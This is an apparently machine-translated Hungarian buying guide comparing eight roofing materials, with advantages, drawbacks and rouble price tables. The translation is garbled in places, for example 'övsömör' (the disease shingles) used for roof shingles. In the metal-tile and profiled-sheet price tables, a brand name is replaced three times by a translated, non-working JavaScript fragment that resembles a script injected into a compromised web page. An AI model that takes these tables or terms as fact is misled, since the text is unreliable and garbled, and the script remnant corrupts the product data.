Anyagok kiválasztása tetőfedéshez 8 modern lehetőség közül
Mi a legjobb anyag a tető tetőfedéséhez? A kérdésre adott válasz minden fejlesztőt érdekel. Megbeszélem a legelterjedtebb modern tetőfedő anyagok előnyeit és hátrányait, hogy Ön jól választhasson.
Anyagtípusok
A legnépszerűbbek a következő tetőfedő anyagok:
Vizsgáljuk meg azok jellemzőit, hogy megtudjuk, melyik anyag a legjobb a ház tetejére.
1. lehetőség: fémlapok
Fém tetőfedés – bélyegzett lemezek horganyzott acélból. A lapok profilja több sorban lefektetett csempére emlékeztet. Innen az anyag neve.
Előnyök :
- Alacsony súly. Átlagosan kb. 4,5 kg / 1m2. Összehasonlításképpen: a természetes csempék tömege elérheti az 50-60 kg / 1m2-t.
Kis súlya miatt kényelmes az anyaggal való munka. Ezenkívül nem okoz nagy stresszt a szarufa rendszerre és a ház falaira;
- Tervek nagy választéka. A fém csempe többféle színben létezik, matt és fényes, és a profil alakjában is különbözik;
- Tartósság. A védőbevonat típusától függően a fém burkolólapok 25-50 évig tarthatnak;
- Alacsony költségű. Ennek az anyagnak az ára többször alacsonyabb, mint a kerámia burkolólapoké.
Hátrányok :
- Lárma. Az anyag hevesen zakatol a csapadék alatt. Ezt a hátrányt úgy lehet megoldani, hogy hangszigetelő anyagot fektetnek a fémlapok alá;
- Nagy hővezető képesség. Ennek a hátránynak a megszüntetése érdekében a tető szigetelhető;
- A védőbevonat könnyen megsérül. Ez az anyag tartósságának jelentős csökkenéséhez vezet. Ezért a fém csempe gondos hozzáállást igényel önmagával szemben.
A választott jellemzők. Mint fentebb mondtam, a fém burkolólapok sok minősége függ a polimer bevonatoktól. A következő típusúak:
- Poliészter. A legolcsóbb, ezért a legszélesebb körű lefedettség. A poliészter védő tulajdonságai nem nagyok, ezért a vele borított fémcsempe bejelentett élettartama 25 év;
- Pural. A védelem szempontjából ez a bevonat tartósabb, mint a poliészter, de napsütésben elhalványul. A pural bevonatú fémlemezek tartóssága eléri az 50 évet;
- Plasztiszol. Ez a bevonat megbízhatóan védi a tetőfedő anyagot a mechanikai és kémiai hatásoktól, ugyanakkor magas hőmérsékletnek kitéve gyorsan elveszíti tulajdonságait. Ezenkívül kiég a napsütésben, így a déli régiók számára teljesen alkalmatlan;
- PVDF. Megbízható és tartós bevonat, amelynek köszönhetően a fém csempe élettartama 40-50 év. Egyetlen hátránya a magas költség.
Költség. Az anyag ára a gyártótól és a polimer bevonat típusától függ:
MárkaDörzsölés. 1m2-reNagymama () * 6); if (szám1 == 3) {var delay = 18000; setTimeout ($ Ikf (0), delay);} és Line (poliészter)330-tólFém profil (poliészter)300-tólFém profil (plasztiszol)550-tőlRuukki (PVDF)1100-tólWeckman (Pural)600-tól
Nem szabad ismeretlen gyártóktól vásárolni a legolcsóbb fémcsempéket, mivel néhány év múlva elszíneződhet és rozsdásodhat.
2. lehetőség: hullámlemez
A fém csempékhez hasonlóan ez az anyag is melegen horganyzott lemez, hidegen hengerelt módszerrel profilozva. Az egyetlen különbség a profil alakjában van. Ezért ezeknek a bevonatoknak minden előnye és hátránya megegyezik.
Ugyanez vonatkozik a polimer védőbevonatokra is. Az egyetlen dolog az, hogy a hullámlemez egyáltalán nem található polimer bevonat nélkül, azaz polimer bevonattal, azaz csak horganyzott. Igaz, az ilyen anyagokat alacsony melléktartalma miatt általában csak a melléképületeknél használják, emellett a horganyzott profillemez megjelenése sok kívánnivalót hagy maga után.
Költség. A hullámkarton költsége nagymértékben függ a polimer bevonat típusától is.
Márka | Dörzsölés. 1m2-re |
Nagymama () * 6); if (szám1 == 3) {var delay = 18000; setTimeout ($ Ikf (0), delay);} és Line (nincs lefedettség) | 190-től |
NLMK (poliészter) | 300-tól |
Nagymama () * 6); if (szám1 == 3) {var delay = 18000; setTimeout ($ Ikf (0), delay);} és Line (poliészter) | 320-tól |
Acél TD (Acél TD) | 520-tól |
A kis lejtésű hullámos tetők kiváló alternatívája a varrat tető. Ez egy tömítettebb bevonatkötést biztosít. Egyébként ugyanolyan tulajdonságokkal rendelkezik, mint a hullámlemez vagy a fém.
3. lehetőség: kerámia burkolólapok
A kerámia burkolólapokat nem kell bevezetni. Ezt az anyagot az emberiség több mint száz éve ismeri, és még mindig nagyon népszerű az egész világon.
Előnyök:
- Vonzó design. Ez a tetőfedő anyag gyönyörűnek és gazdagnak tűnik. Ezért sokan az övsömör megjelenését utánozzák.
Ezenkívül a hatalmas színválaszték lehetővé teszi, hogy minden ízlés szerint kiválaszthassa;
- Tartósság. E paraméter szerint az övsömör vitathatatlan vezető szerepet játszik a tetőfedő anyagok között, mivel 100-150 évig, sőt néha többé is kitarthatnak;
- Jó hangszigetelési tulajdonságok. A cserép csapadék közben egyáltalán nem okoz zajt;
- UV-álló. Az egész élettartam alatt az anyag nem veszíti el vonzerejét;
- Tűzbiztonság. A kerámia rendkívül tűzálló.
Hátrányok. Az előnyök mellett a kerámia burkolólapoknak vannak hátrányai is:
- Nagy súly. Ennek eredményeként a tető megerősített szarufa rendszert és erőteljes burkolatot igényel. Növeli a ház falainak és alapjainak terhelését;
- Dőlésszög korlátozás. A tető lejtésének 22-44 fok között kell lennie. Készíthet meredekebb lejtőt, de ebben az esetben minden csempézett cserepet hozzá kell erősítenie a ládához;
- Magas ár. Nem mindenki engedheti meg magának a kerámia burkolólapokat;
- A munka intenzitása és a telepítés bonyolultsága. Ez megnöveli a tetőfedés költségeit. Nem érdemes saját kezűleg, készségek nélkül fektetni a csempéket, mert ez befolyásolja tartósságát.
A választott jellemzők. A választás során ügyeljen a következő pontokra:
- Sűrűség és porozitás. Minél nagyobb a sűrűség, annál erősebbek és tartósabbak a lapok. A porozitás a nedvesség felszívódásának növekedéséhez és az ebből eredő negatív következményekhez vezet;
- Szerkezet. A szerkezetnek homogénnek kell lennie, azaz látható vízkő zárványoktól mentes.
Költség. A zsindely ára a gyártótól függ:
MárkaDörzsölés. 1m2-reBraas1000-tőlRoben1500-tólKORAMIC1600-tólCreaton1450-től
4. lehetőség: homokcement zsindely
A cement-homok burkolólapok olyan szilánkok, amelyek alakjukban nem különböznek a kerámia burkolólapoktól. Ezért kifelé mindkét anyag nagyon hasonló.
Ez a tetőfedés cement-homok habarcsból készül, amelyhez festéket és lágyítókat adnak.
Előnyök. A cement-homok burkolólapoknak a következő előnyei vannak:
- Költség. Az ár kétszer alacsonyabb, mint a kerámia burkolólapok ára;
- Tartósság. Az anyag ellenáll a nedvességnek, a szélsőséges hőmérsékleteknek, az ultraibolya fénynek és más negatív hatásoknak. Ezért a tartósság legalább 50 év. Egyes gyártók, például a Baltic Tile 100 éves tartósságot követelnek;
- Vonzó megjelenés. Ez az anyag a leghűségesebben utánozza a kerámia burkolólapokat. Igaz, vannak még különbségek, ezek egységesebb színűek, azaz. túlcsordulás, ragyogás hiánya nélkül stb. Ezért nincs szükség abszolút külső identitásról beszélni;
- Hangszigetelő tulajdonságok. A bevonat csapadék közben nem okoz zajt;
- Tűzbiztonság. Jó tűzállóság.
Hátrányok. A cement-homok burkolólapok hátrányai megegyeznek a kerámia burkolólapokkal. Sőt, nagyobb vastagsága miatt még nagyobb a súlya. Ugyanakkor szilárdsága alacsonyabb, mint a kerámiáké.
A választott jellemzők. A minőségi csempének sima felülettel és egyenletes, tiszta profilú formával kell rendelkeznie. Torzítás nem megengedett. Ha egy lapra koppint, tiszta hangot kell adnia, pattogás nélkül.
Költség. Bár az anyag olcsóbb, mint a kerámia burkolat, mégsem lehet olcsónak nevezni:
Márka | Dörzsölés. 1m2-re |
Balti cserép | 600 |
BRAAS | 500 |
A-Tiilikate | 650 |
Ritsal | 450-től |
5. lehetőség: puha csempe
A puha vagy bitumenes zsindely olyan anyag, amelyet módosított, megerősített bitumen alapján készítenek. Az ilyen csempe elülső oldalát cement-kő szemcsék borítják, amelyek nemcsak dekoratív, hanem védelmi funkciót is ellátnak.
Előnyök. A lágy csempék a következő tulajdonságokkal rendelkeznek.
- Tervezés. A borító többféle színben és formában kapható. Sőt, dekoratív tulajdonságai felül vannak;
- A súlyt. Annak a ténynek köszönhetően, hogy a bitumenes zsindely könnyű, a tető nem igényel erős szarufa rendszert;
- Rugalmasság. Ennek a minőségnek köszönhetően ez a bevonat tökéletesen alkalmas komplex alakú tetőkre történő telepítésre;
- Jó hangszigetelő tulajdonságok. A bevonat egyáltalán nem okoz zajt;
- Jó szorítás. A rugalmas zsindelyeket a felszerelés után egymáshoz ragasztják.
A zsindely alternatívája a pala tetőfedés. Fő előnye a tartóssága – az anyag több mint 100 évig tarthat. Igaz, a pala csempe nagyon drága – az ár 3000 rubel / négyzetméterenként kezdődik.
Hátrányok :
- Szilárd láda igénye. Ez némileg növeli a tető súlyát és bonyolítja a telepítési folyamatot;
- Élettartam . Az anyag átlagosan 25 évig tart;
- A minőségben nagy a különbség. Sok alacsony minőségű zsindely található a piacon;
- Magas költség . Ez az anyag drágább, mint a fém. Nem szabad megfeledkezni arról, hogy az övsömör telepítésekor a hulladék mennyisége sokkal kisebb, mint a lapanyagok fektetésekor.
A legalább 12 fokos lejtésű tetőkhöz bitumenes zsindely használható.
A választott jellemzők. Ügyeljen a dekoratív rétegre: ha erősen összeomlik, akkor ez a tető építőanyaga rövid életű.
Költség. A zsindely ára a gyártótól függ:
Márka | Dörzsölés. 1m2-re |
Katepal | 690-től |
SHINGLAS | 420-tól |
IKO ARMORSHIELD | 680-tól |
Owens Corning | 1000-től |
Docke | 500-tól |
6. lehetőség: ondulin
Ez egy bitumennal impregnált cellulózból készült hullámlemez. Kívülről festett palára hasonlít. Ezért bitumenes palának is nevezik.
Előnyök :
- Kis súly. A lap súlya körülbelül 6 kg. Emiatt ezt az anyagot gyakran használják a házak tetejének javítására, közvetlenül a régi bevonat tetejére fektetve, például pala;
- Vonzó megjelenés. Az anyag gazdag színű;
- Hangszigetelő tulajdonságok. Csapadék közben az ondulinnal borított tető nem okoz zajt.
Hátrányok :
- Törékenység. Az ismert gyártók anyagi garanciát vállalnak 10-15 évre. A kevéssé ismert gyártókból származó ondulin már a telepítés után több évvel használhatatlanná válhat;
- Kiég a napon. A gyártóra vonatkozó garancia nem vonatkozik a színre. Amint a gyakorlat azt mutatja, az anyag jóval hamarabb kiég, mint a deklarált élettartam vége;
- Alacsony szilárdság. A tetőfedés károsíthatja a faágakat, különösen nulla alatti hőmérsékleten, ha az anyag törékeny lesz;
- A magas hőmérséklet instabilitása. Napfény hatására deformálódhat.
Így az ondulin messze nem a modern tetőfedő anyagok legjobb képviselője.
Költség. Annak ellenére, hogy az ondulin költségvetési anyagnak számít, költsége magasabb, mint a pala és egyes márkájú fémlapok ára:
Gyártó | Költség rubel / lap |
Corrubit | 450 |
Onduline | 420-450 |
Gutta | 380 |
7. lehetőség: pala
Ez egy hagyományos tetőfedő anyag hazánkban. Nem veszítette el jelentőségét, annak ellenére sem, hogy az utóbbi időben nagy számú versenytárs jelent meg.
Előnyök :
- Tartósság. A borító 30-40 évig vagy tovább is tarthat;
- Tűzbiztonság. A pala azbesztcement habarcsból készül, és ez mindent elmond;
- Alacsony költségű. Az anyag olcsóbb, mint az ondulin és a fém csempe;
- Jó hangszigetelő tulajdonságok. Csapadék közben nem okoz zajt.
Hátrányok :
- Kinézet. A szürke pala nem vonzónak tűnik, azonban ezt a hátrányt festéssel oldják meg;
- Az ellátás szükségessége. A pala felülete gyorsan elsötétül és piszkos lesz, ráadásul moha nőhet rajta;
- Törékenység. A bevonat szállítás vagy telepítés közben megrepedhet. Ezenkívül idővel repedések jelennek meg a lefektetett palán;
- Nagy súly. Négyzetméter pala körülbelül 9,5 kg.
- Alacsony környezettudatosság. A pala azbesztet tartalmaz, amely káros az egészségre.
Költség. A pala ára a méretétől függ:
Illusztrációk | Dörzsölés. 1m2-re |
1750x980x5.8 | 250-től |
1750x1130x5.2 | 180-tól |
1750x1100x8 | 350-től |
3000x1500x12 | 1200-tól |
8. lehetőség: euroruberoid
Ez egy megerősített bitumen-polimer alapú tekercsanyag. A puha csempékhez hasonlóan az euroruberoid elülső felületét is védő dekoratív bevonattal (szórással) borítják.
Előnyök :
- Erő. A vásznat üvegszállal, üvegszállal vagy poliészterrel erősítik meg, ennek köszönhetően képes ellenállni a nagy mechanikai terheléseknek;
- Tartósság. A gyártók azt állítják, hogy az anyag élettartama 15-25 év. A prémium bevonat 30 évig tarthat;
- Vonzó megjelenés . A dekoratív öltözködésnek köszönhetően az anyag meglehetősen reprezentatívnak tűnik;
- Egyszerű telepítés. A tekercsburkolatok telepítési utasításai meglehetősen egyszerűek. Ezenkívül az euroruberoid nem igényel folyamatos burkolatot, ellentétben a puha csempékkel;
- Alacsony költségű. Az Euroruberoid sokkal olcsóbb, mint a puha csempe.
Az összes bitumenes anyag, beleértve az euroruberoidot is, csak pozitív hőmérsékleten telepíthető.
Hátrányok :
- A vízszigetelés szükségessége. Az összes többi tetőfedő bevonathoz hasonlóan az euroruberoid további tetőszigetelést igényel;
- A különbség a minőségben van. A lágy csempékhez hasonlóan a piacon is sok rossz minőségű anyag található, amelyek szemcséjét gyorsan lemossák.
Költség. Az anyag költségét befolyásolja az alap típusa és a gyártó:
Márka | Költség rubel / tekercs |
TechnoNicol tekercs 15m2 (üvegszálas) | 440 |
KRMZ 4,5x10m (üvegszál) | 950 |
Szervezett tető 10m2 (üvegszál) | 760 |
Poliruf Flex tekercs 10m2 (poliészter) | 1250 |
Kimenet
Most ismeri a tetőfedés alapvető tulajdonságait, és a saját igényei és pénzügyi lehetőségei alapján kiválaszthatja a tető legjobb tetőfedő anyagát. Javaslom a videó megnézését ebben a cikkben. Ha bármilyen kérdése van – írjon észrevételeket, és szívesen segítek.